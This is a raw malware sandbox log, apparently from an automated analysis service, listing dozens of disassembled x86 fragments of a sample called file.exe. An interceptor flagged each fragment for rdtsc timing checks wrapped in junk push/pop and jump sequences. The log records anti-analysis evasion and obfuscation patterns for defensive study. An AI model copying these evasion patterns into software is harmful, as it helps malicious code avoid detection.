Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70917C second address: 709189 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pop edx 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 707F5A second address: 707FA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop eax 0x00000007 jne 00007FA57532F871h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FA57532F869h 0x00000014 jg 00007FA57532F856h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 707FA3 second address: 707FA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 707FA7 second address: 707FAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 708888 second address: 7088A7 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FA57532F8D8h 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FA57532F8E3h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 708DFA second address: 708E0A instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FA57532F856h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 708E0A second address: 708E10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 708E10 second address: 708E14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 708E14 second address: 708E3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnc 00007FA57532F8D6h 0x00000010 jmp 00007FA57532F8E9h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 708E3D second address: 708E62 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FA57532F856h 0x00000008 jmp 00007FA57532F868h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70D0A2 second address: 70D0A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70D0A8 second address: 70D0AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70D4FF second address: 70D505 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70D505 second address: 70D568 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push ecx 0x0000000a jnl 00007FA57532F858h 0x00000010 pop ecx 0x00000011 nop 0x00000012 xor edx, 01CB9541h 0x00000018 sub dword ptr [ebp+122D3663h], ecx 0x0000001e push dword ptr [ebp+122D1BE6h] 0x00000024 mov dword ptr [ebp+122D23F1h], esi 0x0000002a jmp 00007FA57532F869h 0x0000002f call 00007FA57532F859h 0x00000034 jmp 00007FA57532F85Ah 0x00000039 push eax 0x0000003a push eax 0x0000003b push edx 0x0000003c ja 00007FA57532F858h 0x00000042 pushad 0x00000043 popad 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70D568 second address: 70D586 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push esi 0x0000000f pushad 0x00000010 push edi 0x00000011 pop edi 0x00000012 push eax 0x00000013 pop eax 0x00000014 popad 0x00000015 pop esi 0x00000016 mov eax, dword ptr [eax] 0x00000018 push eax 0x00000019 push edx 0x0000001a push esi 0x0000001b push edx 0x0000001c pop edx 0x0000001d pop esi 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70EFE4 second address: 70EFEF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70EFEF second address: 70EFFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FA57532F8D6h 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70EFFE second address: 70F01D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007FA57532F85Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f jnp 00007FA57532F856h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70F01D second address: 70F04B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA57532F8E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jnl 00007FA57532F8D8h 0x00000012 push esi 0x00000013 pushad 0x00000014 popad 0x00000015 pushad 0x00000016 popad 0x00000017 pop esi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70EBC3 second address: 70EBC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 710C01 second address: 710C2C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA57532F8E6h 0x00000007 jmp 00007FA57532F8E1h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 710C2C second address: 710C33 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60EC7 second address: 4A60ECC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60ECC second address: 4A60EF8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA57532F85Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FA57532F860h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 movzx eax, dx 0x00000016 mov si, di 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60EF8 second address: 4A60F2E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, F2C7h 0x00000007 movzx esi, bx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e jmp 00007FA57532F8DFh 0x00000013 mov ebp, esp 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FA57532F8E5h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60F2E second address: 4A60F34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60F34 second address: 4A60F38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60F38 second address: 4A60F3C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60F3C second address: 4A60F59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FA57532F8E2h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA010E second address: 4AA0114 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA0114 second address: 4AA0118 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30146 second address: 4A3014B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A3014B second address: 4A301FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA57532F8E7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FA57532F8E6h 0x0000000f push eax 0x00000010 pushad 0x00000011 movsx edi, si 0x00000014 push eax 0x00000015 mov esi, ebx 0x00000017 pop edi 0x00000018 popad 0x00000019 xchg eax, ebp 0x0000001a jmp 00007FA57532F8E0h 0x0000001f mov ebp, esp 0x00000021 pushad 0x00000022 pushfd 0x00000023 jmp 00007FA57532F8DEh 0x00000028 and eax, 16877D08h 0x0000002e jmp 00007FA57532F8DBh 0x00000033 popfd 0x00000034 pushfd 0x00000035 jmp 00007FA57532F8E8h 0x0000003a jmp 00007FA57532F8E5h 0x0000003f popfd 0x00000040 popad 0x00000041 push dword ptr [ebp+04h] 0x00000044 push eax 0x00000045 push edx 0x00000046 jmp 00007FA57532F8DDh 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A301FE second address: 4A30274 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA57532F861h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+0Ch] 0x0000000c jmp 00007FA57532F85Eh 0x00000011 push dword ptr [ebp+08h] 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007FA57532F85Dh 0x0000001d sub eax, 5847B996h 0x00000023 jmp 00007FA57532F861h 0x00000028 popfd 0x00000029 pushfd 0x0000002a jmp 00007FA57532F860h 0x0000002f or esi, 62B441B8h 0x00000035 jmp 00007FA57532F85Bh 0x0000003a popfd 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A3028B second address: 4A3028F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A3028F second address: 4A302A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA57532F862h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A302A5 second address: 4A302B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA57532F8DEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50ADD second address: 4A50B0F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA57532F85Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FA57532F860h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FA57532F85Eh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50B0F second address: 4A50B25 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 3F16EDA4h 0x00000008 mov bx, 4010h 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f xchg eax, ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50B25 second address: 4A50B35 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA57532F85Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50B35 second address: 4A50B5D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA57532F8DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FA57532F8E5h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50B5D second address: 4A50B82 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA57532F861h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FA57532F85Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A506AF second address: 4A50718 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FA57532F8E9h 0x00000009 sub cl, 00000016h 0x0000000c jmp 00007FA57532F8E1h 0x00000011 popfd 0x00000012 mov dx, ax 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 xchg eax, ebp 0x00000019 pushad 0x0000001a pushfd 0x0000001b jmp 00007FA57532F8E8h 0x00000020 and cl, 00000068h 0x00000023 jmp 00007FA57532F8DBh 0x00000028 popfd 0x00000029 popad 0x0000002a push eax 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50718 second address: 4A5071F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A5071F second address: 4A50725 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50725 second address: 4A50729 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50729 second address: 4A50776 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA57532F8E4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FA57532F8DEh 0x00000013 adc al, 00000028h 0x00000016 jmp 00007FA57532F8DBh 0x0000001b popfd 0x0000001c popad 0x0000001d mov ebp, esp 0x0000001f pushad 0x00000020 mov dh, EDh 0x00000022 mov ecx, 495263B3h 0x00000027 popad 0x00000028 pop ebp 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50776 second address: 4A5077C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A505BA second address: 4A505BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A505BE second address: 4A505DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA57532F869h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A505DB second address: 4A50604 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop eax 0x00000005 mov edi, 28D363AEh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e jmp 00007FA57532F8E4h 0x00000013 xchg eax, ebp 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50604 second address: 4A50621 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA57532F869h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50621 second address: 4A50631 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA57532F8DCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50631 second address: 4A5064A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA57532F85Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A5064A second address: 4A5064E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A5064E second address: 4A50669 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA57532F867h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50669 second address: 4A50683 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 494A9A8Ah 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pop ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FA57532F8DAh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50683 second address: 4A50689 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50354 second address: 4A5036F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA57532F8E7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A5036F second address: 4A50373 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50373 second address: 4A503A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 pushad 0x0000000a push esi 0x0000000b pop eax 0x0000000c mov edi, 752F3E5Eh 0x00000011 popad 0x00000012 mov dword ptr [esp], ebp 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007FA57532F8DAh 0x0000001e adc esi, 201A0F28h 0x00000024 jmp 00007FA57532F8DBh 0x00000029 popfd 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A503A9 second address: 4A503AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A6001F second address: 4A60023 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60023 second address: 4A60029 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60029 second address: 4A6003A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA57532F8DDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A6003A second address: 4A60072 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FA57532F85Ch 0x0000000e xchg eax, ebp 0x0000000f pushad 0x00000010 mov bl, 86h 0x00000012 popad 0x00000013 mov ebp, esp 0x00000015 jmp 00007FA57532F864h 0x0000001a pop ebp 0x0000001b pushad 0x0000001c mov ebx, ecx 0x0000001e push eax 0x0000001f push edx 0x00000020 mov edi, eax 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA003F second address: 4AA007F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FA57532F8DFh 0x00000009 adc eax, 1026F8CEh 0x0000000f jmp 00007FA57532F8E9h 0x00000014 popfd 0x00000015 mov ch, 92h 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov ebp, esp 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f movsx edi, si 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA007F second address: 4AA00D7 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FA57532F860h 0x00000008 xor si, 7C78h 0x0000000d jmp 00007FA57532F85Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pushad 0x00000016 pushfd 0x00000017 jmp 00007FA57532F866h 0x0000001c sbb ah, FFFFFFD8h 0x0000001f jmp 00007FA57532F85Bh 0x00000024 popfd 0x00000025 mov dh, ch 0x00000027 popad 0x00000028 popad 0x00000029 pop ebp 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA00D7 second address: 4AA00DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA00DB second address: 4AA00DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA00DF second address: 4AA00E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A70369 second address: 4A703C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop edx 0x00000006 popad 0x00000007 popad 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c call 00007FA57532F867h 0x00000011 pop eax 0x00000012 pushfd 0x00000013 jmp 00007FA57532F869h 0x00000018 xor eax, 16094676h 0x0000001e jmp 00007FA57532F861h 0x00000023 popfd 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A703C0 second address: 4A70432 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA57532F8E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007FA57532F8DEh 0x00000010 mov eax, dword ptr [ebp+08h] 0x00000013 pushad 0x00000014 push esi 0x00000015 push ebx 0x00000016 pop esi 0x00000017 pop edx 0x00000018 jmp 00007FA57532F8E6h 0x0000001d popad 0x0000001e and dword ptr [eax], 00000000h 0x00000021 pushad 0x00000022 jmp 00007FA57532F8DEh 0x00000027 movzx esi, di 0x0000002a popad 0x0000002b and dword ptr [eax+04h], 00000000h 0x0000002f jmp 00007FA57532F8DDh 0x00000034 pop ebp 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A70432 second address: 4A70436 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A70436 second address: 4A7043C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A504EB second address: 4A504EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A504EF second address: 4A504F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A504F5 second address: 4A5050B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA57532F862h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A5050B second address: 4A5050F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60DA9 second address: 4A60DC4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA57532F867h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60DC4 second address: 4A60E30 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FA57532F8E2h 0x00000009 xor ah, FFFFFFA8h 0x0000000c jmp 00007FA57532F8DBh 0x00000011 popfd 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 pushad 0x00000017 jmp 00007FA57532F8DFh 0x0000001c pushfd 0x0000001d jmp 00007FA57532F8E8h 0x00000022 adc eax, 0074B538h 0x00000028 jmp 00007FA57532F8DBh 0x0000002d popfd 0x0000002e popad 0x0000002f xchg eax, ebp 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 pushad 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60E30 second address: 4A60E36 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
